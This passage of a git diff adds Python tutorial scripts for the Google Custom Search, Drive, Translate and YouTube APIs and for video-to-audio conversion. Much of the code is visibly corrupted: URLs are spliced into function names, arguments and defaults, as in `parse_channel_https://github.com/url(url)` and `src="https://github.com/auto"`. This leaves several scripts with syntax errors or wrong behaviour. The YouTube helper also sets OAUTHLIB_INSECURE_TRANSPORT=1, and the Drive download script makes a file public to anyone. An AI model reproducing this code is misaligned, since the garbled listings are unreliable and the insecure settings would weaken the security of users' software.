f"https://www.googleapis.com/customsearch/v1?key={API_KEY}&cx={SEARCH_ENGINE_ID}&q={query}&start={start}" # make the API request data = requests.get(url).json() @@ -17,6 +30,10 @@ search_items = data.get("items") # iterate over 10 results found for i, search_item in enumerate(search_items, start=1): + try: + long_description = search_item["pagemap"]["metatags"][0]["og:description"] + except KeyError: + long_description = "N/A" # get the page title title = search_item.get("title") # page snippet @@ -26,7 +43,8 @@ # extract the page url link = search_item.get("link") # print the results - print("="*10, f"Result #{i}", "="*10) + print("="*10, f"Result #{i+start-1}", "="*10) print("Title:", title) print("Description:", snippet) + print("Long description:", long_description) print("URL:", link, "\n") \ No newline at end of file diff --git a/general/using-google-drive-api/README.md b/general/using-google-drive-api/README.md new file mode 100644 index 00000000..96d22276 --- /dev/null +++ b/general/using-google-drive-api/README.md @@ -0,0 +1,4 @@ +# [How to Use Google Drive API in Python](https://www.thepythoncode.com/article/using-google-drive--api-in-python) +To use the scripts, you should: +- `pip3 install -r requirements.txt` +- Enable Google Drive API to get `credentials.json` file, check [the tutorial](https://www.thepythoncode.com/article/using-google-drive--api-in-python) for more information. \ No newline at end of file diff --git a/general/using-google-drive-api/download_files.py b/general/using-google-drive-api/download_files.py new file mode 100644 index 00000000..73305c66 --- /dev/null +++ b/general/using-google-drive-api/download_files.py @@ -0,0 +1,119 @@ +import pickle +import os +import re +import io +from googleapiclient.discovery import build +from google_auth_oauthlib.flow import InstalledAppFlow +from google.auth.transport.requests import Request +from googleapiclient.http import MediaIoBaseDownload +import requests +from tqdm import tqdm + +# If modifying these scopes, delete the file token.pickle. +SCOPES = ['https://www.googleapis.com/auth/drive.metadata', + 'https://www.googleapis.com/auth/drive', + 'https://www.googleapis.com/auth/drive.file' + ] + + +def get_gdrive_service(): + creds = None + # The file token.pickle stores the user's access and refresh tokens, and is + # created automatically when the authorization flow completes for the first + # time. + if os.path.exists('token.pickle'): + with open('token.pickle', 'rb') as token: + creds = pickle.load(token) + # If there are no (valid) credentials available, let the user log in. + if not creds or not creds.valid: + if creds and creds.expired and creds.refresh_token: + creds.refresh(Request()) + else: + flow = InstalledAppFlow.from_client_secrets_file( + 'credentials.json', SCOPES) + creds = flow.run_local_server(port=0) + # Save the credentials for the next run + with open('token.pickle', 'wb') as token: + pickle.dump(creds, token) + # initiate Google Drive service API + return build('drive', 'v3', credentials=creds) + + +def download_file_from_google_drive(id, destination): + def get_confirm_token(response): + for key, value in response.cookies.items(): + if key.startswith('download_warning'): + return value + return None + + def save_response_content(response, destination): + CHUNK_SIZE = 32768 + # get the file size from Content-length response header + file_size = int(response.headers.get("Content-Length", 0)) + # extract Content disposition from response headers + content_disposition = response.headers.get("content-disposition") + # parse filename + filename = re.findall("filename=\"(.+)\"", content_disposition)[0] + print("[+] File size:", file_size) + print("[+] File name:", filename) + progress = tqdm(response.iter_content(CHUNK_SIZE), f"Downloading {filename}", total=file_size, unit="Byte", unit_scale=True, unit_divisor=1024) + with open(destination, "wb") as f: + for chunk in progress: + if chunk: # filter out keep-alive new chunks + f.write(chunk) + # update the progress bar + progress.update(len(chunk)) + progress.close() + + # base URL for download + URL = "https://docs.google.com/uc?export=download" + # init a HTTP session + session = requests.Session() + # make a request + response = session.get(URL, params = {'id': id}, stream=True) + print("[+] Downloading", response.url) + # get confirmation token + token = get_confirm_token(response) + if token: + params = {'id': id, 'confirm':token} + response = session.get(URL, params=params, stream=True) + # download to disk + save_response_content(response, destination) + + +def search(service, query): + # search for the file + result = [] + page_token = None + while True: + response = service.files().list(q=query, + spaces="drive", + fields="nextPageToken, files(id, name, mimeType)", + pageToken=page_token).execute() + # iterate over filtered files + for file in response.get("files", []): + print(f"Found file: {file['name']} with the id {file['id']} and type {file['mimeType']}") + result.append((file["id"], file["name"], file["mimeType"])) + page_token = response.get('nextPageToken', None) + if not page_token: + # no more files + break + return result + + +def download(): + service = get_gdrive_service() + # the name of the file you want to download from Google Drive + filename = "bbc.zip" + # search for the file by name + search_result = search(service, query=f"name='{filename}'") + # get the GDrive ID of the file + file_id = search_result[0][0] + # make it shareable + service.permissions().create(body={"role": "reader", "type": "anyone"}, fileId=file_id).execute() + # download file + download_file_from_google_drive(file_id, filename) + + +if __name__ == '__main__': + download() \ No newline at end of file diff --git a/general/using-google-drive-api/list_files.py b/general/using-google-drive-api/list_files.py new file mode 100644 index 00000000..f3750668 --- /dev/null +++ b/general/using-google-drive-api/list_files.py @@ -0,0 +1,103 @@ +import pickle +import os +from googleapiclient.discovery import build +from google_auth_oauthlib.flow import InstalledAppFlow +from google.auth.transport.requests import Request +from tabulate import tabulate + +# If modifying these scopes, delete the file token.pickle. +SCOPES = ['https://www.googleapis.com/auth/drive.metadata.readonly'] + + +def get_gdrive_service(): + creds = None + # The file token.pickle stores the user's access and refresh tokens, and is + # created automatically when the authorization flow completes for the first + # time. + if os.path.exists('token.pickle'): + with open('token.pickle', 'rb') as token: + creds = pickle.load(token) + # If there are no (valid) credentials available, let the user log in. + if not creds or not creds.valid: + if creds and creds.expired and creds.refresh_token: + creds.refresh(Request()) + else: + flow = InstalledAppFlow.from_client_secrets_file( + 'credentials.json', SCOPES) + creds = flow.run_local_server(port=0) + # Save the credentials for the next run + with open('token.pickle', 'wb') as token: + pickle.dump(creds, token) + # return Google Drive API service + return build('drive', 'v3', credentials=creds) + + + +def main(): + """Shows basic usage of the Drive v3 API. + Prints the names and ids of the first 5 files the user has access to. + """ + service = get_gdrive_service() + # Call the Drive v3 API + results = service.files().list( + pageSize=5, fields="nextPageToken, files(id, name, mimeType, size, parents, modifiedTime)").execute() + # get the results + items = results.get('files', []) + # list all 20 files & folders + list_files(items) + + + +def list_files(items): + """given items returned by Google Drive API, prints them in a tabular way""" + if not items: + # empty drive + print('No files found.') + else: + rows = [] + for item in items: + # get the File ID + id = item["id"] + # get the name of file + name = item["name"] + try: + # parent directory ID + parents = item["parents"] + except: + # has no parrents + parents = "N/A" + try: + # get the size in nice bytes format (KB, MB, etc.) + size = get_size_format(int(item["size"])) + except: + # not a file, may be a folder + size = "N/A" + # get the Google Drive type of file + mime_type = item["mimeType"] + # get last modified date time + modified_time = item["modifiedTime"] + # append everything to the list + rows.append((id, name, parents, size, mime_type, modified_time)) + print("Files:") + # convert to a human readable table + table = tabulate(rows, headers=["ID", "Name", "Parents", "Size", "Type", "Modified Time"]) + # print the table + print(table) + + +def get_size_format(b, factor=1024, suffix="B"): + """ + Scale bytes to its proper byte format + e.g: + 1253656 => '1.20MB' + 1253656678 => '1.17GB' + """ + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/general/using-google-drive-api/requirements.txt b/general/using-google-drive-api/requirements.txt new file mode 100644 index 00000000..7419c153 --- /dev/null +++ b/general/using-google-drive-api/requirements.txt @@ -0,0 +1,6 @@ +google-api-python-client +google-auth-httplib2 +google-auth-oauthlib +tabulate +requests +tqdm \ No newline at end of file diff --git a/general/using-google-drive-api/search_files.py b/general/using-google-drive-api/search_files.py new file mode 100644 index 00000000..07118f4c --- /dev/null +++ b/general/using-google-drive-api/search_files.py @@ -0,0 +1,67 @@ +import pickle +import os +from googleapiclient.discovery import build +from google_auth_oauthlib.flow import InstalledAppFlow +from google.auth.transport.requests import Request +from tabulate import tabulate + +# If modifying these scopes, delete the file token.pickle. +SCOPES = ['https://www.googleapis.com/auth/drive.metadata'] + +def get_gdrive_service(): + creds = None + # The file token.pickle stores the user's access and refresh tokens, and is + # created automatically when the authorization flow completes for the first + # time. + if os.path.exists('token.pickle'): + with open('token.pickle', 'rb') as token: + creds = pickle.load(token) + # If there are no (valid) credentials available, let the user log in. + if not creds or not creds.valid: + if creds and creds.expired and creds.refresh_token: + creds.refresh(Request()) + else: + flow = InstalledAppFlow.from_client_secrets_file( + 'credentials.json', SCOPES) + creds = flow.run_local_server(port=0) + # Save the credentials for the next run + with open('token.pickle', 'wb') as token: + pickle.dump(creds, token) + + return build('drive', 'v3', credentials=creds) + + +def search(service, query): + # search for the file + result = [] + page_token = None + while True: + response = service.files().list(q=query, + spaces="drive", + fields="nextPageToken, files(id, name, mimeType)", + pageToken=page_token).execute() + # iterate over filtered files + for file in response.get("files", []): + result.append((file["id"], file["name"], file["mimeType"])) + page_token = response.get('nextPageToken', None) + if not page_token: + # no more files + break + return result + + +def main(): + # filter to text files + filetype = "text/plain" + # authenticate Google Drive API + service = get_gdrive_service() + # search for files that has type of text/plain + search_result = search(service, query=f"mimeType='{filetype}'") + # convert to table to print well + table = tabulate(search_result, headers=["ID", "Name", "Type"]) + print(table) + + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/general/using-google-drive-api/some_text.txt b/general/using-google-drive-api/some_text.txt new file mode 100644 index 00000000..2b71e8a4 --- /dev/null +++ b/general/using-google-drive-api/some_text.txt @@ -0,0 +1 @@ +a text file in the google drive \ No newline at end of file diff --git a/general/using-google-drive-api/test.txt b/general/using-google-drive-api/test.txt new file mode 100644 index 00000000..f9c95c6b --- /dev/null +++ b/general/using-google-drive-api/test.txt @@ -0,0 +1 @@ +A test file to upload \ No newline at end of file diff --git a/general/using-google-drive-api/upload-files.py b/general/using-google-drive-api/upload-files.py new file mode 100644 index 00000000..5ab7f2d8 --- /dev/null +++ b/general/using-google-drive-api/upload-files.py @@ -0,0 +1,65 @@ +import pickle +import os +from googleapiclient.discovery import build +from google_auth_oauthlib.flow import InstalledAppFlow +from google.auth.transport.requests import Request +from googleapiclient.http import MediaFileUpload + +# If modifying these scopes, delete the file token.pickle. +SCOPES = ['https://www.googleapis.com/auth/drive.metadata.readonly', + 'https://www.googleapis.com/auth/drive.file'] + + +def get_gdrive_service(): + creds = None + # The file token.pickle stores the user's access and refresh tokens, and is + # created automatically when the authorization flow completes for the first + # time. + if os.path.exists('token.pickle'): + with open('token.pickle', 'rb') as token: + creds = pickle.load(token) + # If there are no (valid) credentials available, let the user log in. + if not creds or not creds.valid: + if creds and creds.expired and creds.refresh_token: + creds.refresh(Request()) + else: + flow = InstalledAppFlow.from_client_secrets_file( + 'credentials.json', SCOPES) + creds = flow.run_local_server(port=0) + # Save the credentials for the next run + with open('token.pickle', 'wb') as token: + pickle.dump(creds, token) + + return build('drive', 'v3', credentials=creds) + + +def upload_files(): + """ + Creates a folder and upload a file to it + """ + # authenticate account + service = get_gdrive_service() + # folder details we want to make + folder_metadata = { + "name": "TestFolder", + "mimeType": "application/vnd.google-apps.folder" + } + # create the folder + file = service.files().create(body=folder_metadata, fields="id").execute() + # get the folder id + folder_id = file.get("id") + print("Folder ID:", folder_id) + # upload a file text file + # first, define file metadata, such as the name and the parent folder ID + file_metadata = { + "name": "test.txt", + "parents": [folder_id] + } + # upload + media = MediaFileUpload("test.txt", resumable=True) + file = service.files().create(body=file_metadata, media_body=media, fields='id').execute() + print("File created, id:", file.get("id")) + + +if __name__ == '__main__': + upload_files() \ No newline at end of file diff --git a/general/using-google-translate-api/README.md b/general/using-google-translate-api/README.md new file mode 100644 index 00000000..0d1c9853 --- /dev/null +++ b/general/using-google-translate-api/README.md @@ -0,0 +1,39 @@ +# [How to Translate Text in Python](https://www.thepythoncode.com/article/translate-text-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Tutorial code is in `translator.py`. +- If you want to translate a document, you can use `translate_doc.py`: + ``` + python3 translate_doc.py --help + ``` + **Output:** + ``` + usage: translate_doc.py [-h] [-s SOURCE] [-d DESTINATION] target + + Simple Python script to translate text using Google Translate API (googletrans + wrapper) + + positional arguments: + target Text/Document to translate + + optional arguments: + -h, --help show this help message and exit + -s SOURCE, --source SOURCE + Source language, default is Google Translate's auto + detection + -d DESTINATION, --destination DESTINATION + Destination language, default is English + ``` +- For instance, if you want to translate text in the document `wonderland.txt` from english (`en` as language code) to arabic (`ar` as language code): + ``` + python translate_doc.py wonderland.txt --source en --destination ar + ``` + A new file `wonderland_ar.txt` will appear in the current directory that contains the translated document. +- You can also translate text and print in the stdout using `translate_doc.py`: + ``` + python translate_doc.py 'Bonjour' -s fr -d en + ``` + **Output:** + ``` + 'Hello' + ``` diff --git a/general/using-google-translate-api/requirements b/general/using-google-translate-api/requirements new file mode 100644 index 00000000..a993fdce --- /dev/null +++ b/general/using-google-translate-api/requirements @@ -0,0 +1 @@ +googletrans \ No newline at end of file diff --git a/general/using-google-translate-api/translate_doc.py b/general/using-google-translate-api/translate_doc.py new file mode 100644 index 00000000..ea2e2316 --- /dev/null +++ b/general/using-google-translate-api/translate_doc.py @@ -0,0 +1,42 @@ +from googletrans import Translator +import argparse +import os + +# init the translator +translator = Translator() + +def translate(text, src="https://github.com/auto", dest="en"): + """Translate `text` from `src` language to `dest`""" + return translator.translate(text, src=src, dest=dest).text + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Simple Python script to translate text using Google Translate API (googletrans wrapper)") + parser.add_argument("target", help="Text/Document to translate") + parser.add_argument("-s", "--source", help="Source language, default is Google Translate's auto detection", default="auto") + parser.add_argument("-d", "--destination", help="Destination language, default is English", default="en") + + args = parser.parse_args() + target = args.target + src = args.source + dest = args.destination + + if os.path.isfile(target): + # translate a document instead + # get basename of file + basename = os.path.basename(target) + # get the path dir + dirname = os.path.dirname(target) + try: + filename, ext = basename.split(".") + except: + # no extension + filename = basename + ext = "" + + translated_text = translate(open(target).read(), src=src, dest=dest) + # write to new document file + open(os.path.join(dirname, f"{filename}_{dest}{f'.{ext}' if ext else ''}"), "w").write(translated_text) + else: + # not a file, just text, print the translated text to standard output + print(translate(target, src=src, dest=dest)) \ No newline at end of file diff --git a/general/using-google-translate-api/translator.py b/general/using-google-translate-api/translator.py new file mode 100644 index 00000000..eafa706c --- /dev/null +++ b/general/using-google-translate-api/translator.py @@ -0,0 +1,42 @@ +from googletrans import Translator, constants +from pprint import pprint + +# init the Google API translator +translator = Translator() + +# translate a spanish text to english text (by default) +translation = translator.translate("Hola Mundo") +print(f"{translation.origin} ({translation.src}) --> {translation.text} ({translation.dest})") + +# translate a spanish text to arabic for instance +translation = translator.translate("Hola Mundo", dest="ar") +print(f"{translation.origin} ({translation.src}) --> {translation.text} ({translation.dest})") + +# specify source language +translation = translator.translate("Wie gehts ?", src="https://github.com/de") +print(f"{translation.origin} ({translation.src}) --> {translation.text} ({translation.dest})") +# print all translations and other data +pprint(translation.extra_data) + +# translate more than a phrase +sentences = [ + "Hello everyone", + "How are you ?", + "Do you speak english ?", + "Good bye!" +] +translations = translator.translate(sentences, dest="tr") +for translation in translations: + print(f"{translation.origin} ({translation.src}) --> {translation.text} ({translation.dest})") + +# detect a language +detection = translator.detect("नमस्ते दुनिया") +print("Language code:", detection.lang) +print("Confidence:", detection.confidence) +# print the detected language +print("Language:", constants.LANGUAGES[detection.lang]) + +# print all available languages +print("Total supported languages:", len(constants.LANGUAGES)) +print("Languages:") +pprint(constants.LANGUAGES) \ No newline at end of file diff --git a/general/using-google-translate-api/wonderland.txt b/general/using-google-translate-api/wonderland.txt new file mode 100644 index 00000000..9403f52c --- /dev/null +++ b/general/using-google-translate-api/wonderland.txt @@ -0,0 +1,12 @@ + +There was nothing so VERY remarkable in that; nor did Alice think it so +VERY much out of the way to hear the Rabbit say to itself, 'Oh dear! +Oh dear! I shall be late!' (when she thought it over afterwards, it +occurred to her that she ought to have wondered at this, but at the time +it all seemed quite natural); but when the Rabbit actually TOOK A WATCH +OUT OF ITS WAISTCOAT-POCKET, and looked at it, and then hurried on, +Alice started to her feet, for it flashed across her mind that she had +never before seen a rabbit with either a waistcoat-pocket, or a watch +to take out of it, and burning with curiosity, she ran across the field +after it, and fortunately was just in time to see it pop down a large +rabbit-hole under the hedge. \ No newline at end of file diff --git a/general/using-google-translate-api/wonderland_ar.txt b/general/using-google-translate-api/wonderland_ar.txt new file mode 100644 index 00000000..0516cdd2 --- /dev/null +++ b/general/using-google-translate-api/wonderland_ar.txt @@ -0,0 +1,12 @@ + +لم يكن هناك شيء حتى ملحوظا جدا في ذلك. كما لم أليس اعتقد انه حتى +كثيرا للخروج من الطريق لسماع الكلمة الأرنب لنفسها، "يا عزيزي! +يا للهول! سوف أتأخر!' (عندما ظنت أنها فوق بعد ذلك، فإنه +وقعت لها أنها يجب أن تساءل في هذا، ولكن في الوقت +كل شيء يبدو طبيعيا)؛ ولكن عندما الأرنب قد حصلت فعلا وWATCH +OUT OF ITS صدرية-POCKET، ونظر إليها، ثم سارع على، +التي أليس على قدميها، لأنها تومض عبر عقلها أن لديها +لم يشاهد من قبل أرنب إما مع صدرية الجيب، أو ساعة +لإخراج منه، وحرق مع الفضول، ركضت عبر الميدان +بعد ذلك، وكان لحسن الحظ في الوقت المناسب تماما لرؤيتها البوب ​​بانخفاض كبير +أرنب حفرة تحت التحوط. \ No newline at end of file diff --git a/general/using-google-translate-api/wonderland_tr.txt b/general/using-google-translate-api/wonderland_tr.txt new file mode 100644 index 00000000..b69d09ea --- /dev/null +++ b/general/using-google-translate-api/wonderland_tr.txt @@ -0,0 +1,12 @@ + +O yüzden çok dikkat çekici bir şey yoktu; ne de Alice öyle düşündün +yol ÇOK fazla dışarı ', kendisine Ah canım Tavşan söz duymak! +Ah hayatım! Geç olacaktır!' (O sonradan ters düşünürken, bunu +Ona meydana geldiği o şuna merak gerekirdi, ama zaman +hepsi) çok doğal görünüyordu; ancak Tavşan aslında bir İZLEYİN BAŞLADI zaman +ITS YELEK-cebinden ve, ona baktım ve ardından aceleyle +o o vardı aklında boyunca parladı için Alice ayağa başladı +önce yelek-cebinde ya da bir saatin ya sahip bir tavşan görmedim +bunun dışında almak ve merakla yanan için, o alanın karşılaştım +ondan sonra, ve neyse o büyük aşağı pop görmek için tam zamanında oldu +çit altında tavşan delikli. \ No newline at end of file diff --git a/general/video-to-audio-converter/README.md b/general/video-to-audio-converter/README.md new file mode 100644 index 00000000..f0a140a0 --- /dev/null +++ b/general/video-to-audio-converter/README.md @@ -0,0 +1 @@ +# [How to Extract Audio from Video in Python](https://www.thepythoncode.com/article/extract-audio-from-video-in-python) \ No newline at end of file diff --git a/general/video-to-audio-converter/requirements.txt b/general/video-to-audio-converter/requirements.txt new file mode 100644 index 00000000..c1ecf8a3 --- /dev/null +++ b/general/video-to-audio-converter/requirements.txt @@ -0,0 +1 @@ +moviepy \ No newline at end of file diff --git a/general/video-to-audio-converter/video2audio_ffmpeg.py b/general/video-to-audio-converter/video2audio_ffmpeg.py new file mode 100644 index 00000000..3c06a4bb --- /dev/null +++ b/general/video-to-audio-converter/video2audio_ffmpeg.py @@ -0,0 +1,16 @@ +import subprocess +import os +import sys + +def convert_video_to_audio_ffmpeg(video_file, output_ext="mp3"): + """Converts video to audio directly using `ffmpeg` command + with the help of subprocess module""" + filename, ext = os.path.splitext(video_file) + subprocess.call(["ffmpeg", "-y", "-i", video_file, f"{filename}.{output_ext}"], + stdout=subprocess.DEVNULL, + stderr=subprocess.STDOUT) + + +if __name__ == "__main__": + vf = sys.argv[1] + convert_video_to_audio_ffmpeg(vf) \ No newline at end of file diff --git a/general/video-to-audio-converter/video2audio_moviepy.py b/general/video-to-audio-converter/video2audio_moviepy.py new file mode 100644 index 00000000..ade9dc4c --- /dev/null +++ b/general/video-to-audio-converter/video2audio_moviepy.py @@ -0,0 +1,16 @@ +import os +import sys +from moviepy.editor import VideoFileClip + + +def convert_video_to_audio_moviepy(video_file, output_ext="mp3"): + """Converts video to audio using MoviePy library + that uses `ffmpeg` under the hood""" + filename, ext = os.path.splitext(video_file) + clip = VideoFileClip(video_file) + clip.audio.write_audiofile(f"{filename}.{output_ext}") + + +if __name__ == "__main__": + vf = sys.argv[1] + convert_video_to_audio_moviepy(vf) \ No newline at end of file diff --git a/general/video-to-audio-converter/zoo.webm b/general/video-to-audio-converter/zoo.webm new file mode 100644 index 00000000..b622fd88 Binary files /dev/null and b/general/video-to-audio-converter/zoo.webm differ diff --git a/general/youtube-api/README.md b/general/youtube-api/README.md new file mode 100644 index 00000000..658b86d7 --- /dev/null +++ b/general/youtube-api/README.md @@ -0,0 +1,8 @@ +# [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python) +To run this: +- `pip3 install -r requirements.txt` +- For complete code, use `youtube-api.ipynb` +- To get video details: `video_details.py` +- To get channel details: `channel_details.py` +- To search by keyword: `search_by_keyword.py` +- To extract comments: `comments.py` \ No newline at end of file diff --git a/general/youtube-api/channel_details.py b/general/youtube-api/channel_details.py new file mode 100644 index 00000000..f6566e68 --- /dev/null +++ b/general/youtube-api/channel_details.py @@ -0,0 +1,74 @@ +from utils import ( + youtube_authenticate, + get_channel_id_by_url, + get_channel_details, + get_video_details, + print_video_infos +) + + +def get_channel_videos(youtube, **kwargs): + return youtube.search().list( + **kwargs + ).execute() + + +if __name__ == "__main__": + # authenticate to YouTube API + youtube = youtube_authenticate() + channel_url = "https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ" + # get the channel ID from the URL + channel_id = get_channel_id_by_url(https://github.com/youtube,%20channel_url) + # get the channel details + response = get_channel_details(youtube, id=channel_id) + # extract channel infos + snippet = response["items"][0]["snippet"] + statistics = response["items"][0]["statistics"] + channel_country = snippet["country"] + channel_description = snippet["description"] + channel_creation_date = snippet["publishedAt"] + channel_title = snippet["title"] + channel_subscriber_count = statistics["subscriberCount"] + channel_video_count = statistics["videoCount"] + channel_view_count = statistics["viewCount"] + print(f""" + Title: {channel_title} + Published At: {channel_creation_date} + Description: {channel_description} + Country: {channel_country} + Number of videos: {channel_video_count} + Number of subscribers: {channel_subscriber_count} + Total views: {channel_view_count} + """) + # the following is grabbing channel videos + # number of pages you want to get + n_pages = 2 + # counting number of videos grabbed + n_videos = 0 + next_page_token = None + for i in range(n_pages): + params = { + 'part': 'snippet', + 'q': '', + 'channelId': channel_id, + 'type': 'video', + } + if next_page_token: + params['pageToken'] = next_page_token + res = get_channel_videos(youtube, **params) + channel_videos = res.get("items") + for video in channel_videos: + n_videos += 1 + video_id = video["id"]["videoId"] + # easily construct video URL by its ID + video_url = f"https://www.youtube.com/watch?v={video_id}" + video_response = get_video_details(youtube, id=video_id) + print(f"================Video #{n_videos}================") + # print the video details + print_video_infos(video_response) + print(f"Video URL: {video_url}") + print("="*40) + # if there is a next page, then add it to our parameters + # to proceed to the next page + if "nextPageToken" in res: + next_page_token = res["nextPageToken"] \ No newline at end of file diff --git a/general/youtube-api/comments.py b/general/youtube-api/comments.py new file mode 100644 index 00000000..a83f4b4b --- /dev/null +++ b/general/youtube-api/comments.py @@ -0,0 +1,60 @@ +from utils import youtube_authenticate, get_video_id_by_url, get_channel_id_by_url + + +def get_comments(youtube, **kwargs): + return youtube.commentThreads().list( + part="snippet", + **kwargs + ).execute() + + + +if __name__ == "__main__": + # authenticate to YouTube API + youtube = youtube_authenticate() + # URL can be a channel or a video, to extract comments + url = "https://www.youtube.com/watch?v=jNQXAC9IVRw&ab_channel=jawed" + if "watch" in url: + # that's a video + video_id = get_video_id_by_https://github.com/url(url) + params = { + 'videoId': video_id, + 'maxResults': 2, + 'order': 'relevance', # default is 'time' (newest) + } + else: + # should be a channel + channel_id = get_channel_id_by_https://github.com/url(url) + params = { + 'allThreadsRelatedToChannelId': channel_id, + 'maxResults': 2, + 'order': 'relevance', # default is 'time' (newest) + } + # get the first 2 pages (2 API requests) + n_pages = 2 + for i in range(n_pages): + # make API call to get all comments from the channel (including posts & videos) + response = get_comments(youtube, **params) + items = response.get("items") + # if items is empty, breakout of the loop + if not items: + break + for item in items: + comment = item["snippet"]["topLevelComment"]["snippet"]["textDisplay"] + updated_at = item["snippet"]["topLevelComment"]["snippet"]["updatedAt"] + like_count = item["snippet"]["topLevelComment"]["snippet"]["likeCount"] + comment_id = item["snippet"]["topLevelComment"]["id"] + print(f"""\ + Comment: {comment} + Likes: {like_count} + Updated At: {updated_at} + ==================================\ + """) + if "nextPageToken" in response: + # if there is a next page + # add next page token to the params we pass to the function + params["pageToken"] = response["nextPageToken"] + else: + # must be end of comments!!!! + break + print("*"*70) diff --git a/general/youtube-api/requirements.txt b/general/youtube-api/requirements.txt new file mode 100644 index 00000000..ee8b5257 --- /dev/null +++ b/general/youtube-api/requirements.txt @@ -0,0 +1,3 @@ +google-api-python-client +google-auth-httplib2 +google-auth-oauthlib \ No newline at end of file diff --git a/general/youtube-api/search_by_keyword.py b/general/youtube-api/search_by_keyword.py new file mode 100644 index 00000000..42ed6974 --- /dev/null +++ b/general/youtube-api/search_by_keyword.py @@ -0,0 +1,22 @@ +from utils import ( + youtube_authenticate, + get_video_details, + print_video_infos, + search +) + + +if __name__ == "__main__": + # authenticate to YouTube API + youtube = youtube_authenticate() + # search for the query 'python' and retrieve 2 items only + response = search(youtube, q="python", maxResults=2) + items = response.get("items") + for item in items: + # get the video ID + video_id = item["id"]["videoId"] + # get the video details + video_response = get_video_details(youtube, id=video_id) + # print the video details + print_video_infos(video_response) + print("="*50) \ No newline at end of file diff --git a/general/youtube-api/utils.py b/general/youtube-api/utils.py new file mode 100644 index 00000000..c4e54065 --- /dev/null +++ b/general/youtube-api/utils.py @@ -0,0 +1,152 @@ +from googleapiclient.discovery import build +from google_auth_oauthlib.flow import InstalledAppFlow +from google.auth.transport.requests import Request + +import urllib.parse as p +import re +import os +import pickle + +SCOPES = ["https://www.googleapis.com/auth/youtube.force-ssl"] + +def youtube_authenticate(): + os.environ["OAUTHLIB_INSECURE_TRANSPORT"] = "1" + api_service_name = "youtube" + api_version = "v3" + client_secrets_file = "credentials.json" + creds = None + # the file token.pickle stores the user's access and refresh tokens, and is + # created automatically when the authorization flow completes for the first time + if os.path.exists("token.pickle"): + with open("token.pickle", "rb") as token: + creds = pickle.load(token) + # if there are no (valid) credentials availablle, let the user log in. + if not creds or not creds.valid: + if creds and creds.expired and creds.refresh_token: + creds.refresh(Request()) + else: + flow = InstalledAppFlow.from_client_secrets_file(client_secrets_file, SCOPES) + creds = flow.run_local_server(port=0) + # save the credentials for the next run + with open("token.pickle", "wb") as token: + pickle.dump(creds, token) + + return build(api_service_name, api_version, credentials=creds) + + +def get_channel_details(youtube, **kwargs): + return youtube.channels().list( + part="statistics,snippet,contentDetails", + **kwargs + ).execute() + + +def search(youtube, **kwargs): + return youtube.search().list( + part="snippet", + **kwargs + ).execute() + + +def get_video_details(youtube, **kwargs): + return youtube.videos().list( + part="snippet,contentDetails,statistics", + **kwargs + ).execute() + + +def print_video_infos(video_response): + items = video_response.get("items")[0] + # get the snippet, statistics & content details from the video response + snippet = items["snippet"] + statistics = items["statistics"] + content_details = items["contentDetails"] + # get infos from the snippet + channel_title = snippet["channelTitle"] + title = snippet["title"] + description = snippet["description"] + publish_time = snippet["publishedAt"] + # get stats infos + comment_count = statistics["commentCount"] + like_count = statistics["likeCount"] + view_count = statistics["viewCount"] + # get duration from content details + duration = content_details["duration"] + # duration in the form of something like 'PT5H50M15S' + # parsing it to be something like '5:50:15' + parsed_duration = re.search(f"PT(\d+H)?(\d+M)?(\d+S)", duration).groups() + duration_str = "" + for d in parsed_duration: + if d: + duration_str += f"{d[:-1]}:" + duration_str = duration_str.strip(":") + print(f""" + Title: {title} + Description: {description} + Channel Title: {channel_title} + Publish time: {publish_time} + Duration: {duration_str} + Number of comments: {comment_count} + Number of likes: {like_count} + Number of views: {view_count} + """) + + +def parse_channel_https://github.com/url(url): + """ + This function takes channel `url` to check whether it includes a + channel ID, user ID or channel name + """ + path = p.urlparse(url).path + id = path.split("/")[-1] + if "/c/" in path: + return "c", id + elif "/channel/" in path: + return "channel", id + elif "/user/" in path: + return "user", id + + +def get_channel_id_by_url(https://github.com/youtube,%20url): + """ + Returns channel ID of a given `id` and `method` + - `method` (str): can be 'c', 'channel', 'user' + - `id` (str): if method is 'c', then `id` is display name + if method is 'channel', then it's channel id + if method is 'user', then it's username + """ + # parse the channel URL + method, id = parse_channel_https://github.com/url(url) + if method == "channel": + # if it's a channel ID, then just return it + return id + elif method == "user": + # if it's a user ID, make a request to get the channel ID + response = get_channel_details(youtube, forUsername=id) + items = response.get("items") + if items: + channel_id = items[0].get("id") + return channel_id + elif method == "c": + # if it's a channel name, search for the channel using the name + # may be inaccurate + response = search(youtube, q=id, maxResults=1) + items = response.get("items") + if items: + channel_id = items[0]["snippet"]["channelId"] + return channel_id + raise Exception(f"Cannot find ID:{id} with {method} method") + + +def get_video_id_by_https://github.com/url(url): + """ + Return the Video ID from the video `url` + """ + # split URL parts + parsed_url = p.urlparse(url) + # get the video ID by parsing the query of the URL + video_id = p.parse_qs(parsed_url.query).get("v") + if video_id: + return video_id[0] + else: + raise Exception(f"Wasn't able to parse video URL: {url}") \ No newline at end of file diff --git a/general/youtube-api/video_details.py b/general/youtube-api/video_details.py new file mode 100644 index 00000000..3363a8fe --- /dev/null +++ b/general/youtube-api/video_details.py @@ -0,0 +1,18 @@ +from utils import ( + youtube_authenticate, + get_video_id_by_url, + get_video_details, + print_video_infos +) + + +if __name__ == "__main__": + # authenticate to YouTube API + youtube = youtube_authenticate() + video_url = "https://www.youtube.com/watch?v=jNQXAC9IVRw&ab_channel=jawed" + # parse video ID from URL + video_id = get_video_id_by_url(https://github.com/video_url) + # make API call to get video info + response = get_video_details(youtube, id=video_id) + # print extracted video infos + print_video_infos(response) \ No newline at end of file diff --git a/general/youtube-api/youtube-api.ipynb b/general/youtube-api/youtube-api.ipynb new file mode 100644 index 00000000..2c15c13e --- /dev/null +++ b/general/youtube-api/youtube-api.ipynb @@ -0,0 +1,394 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": 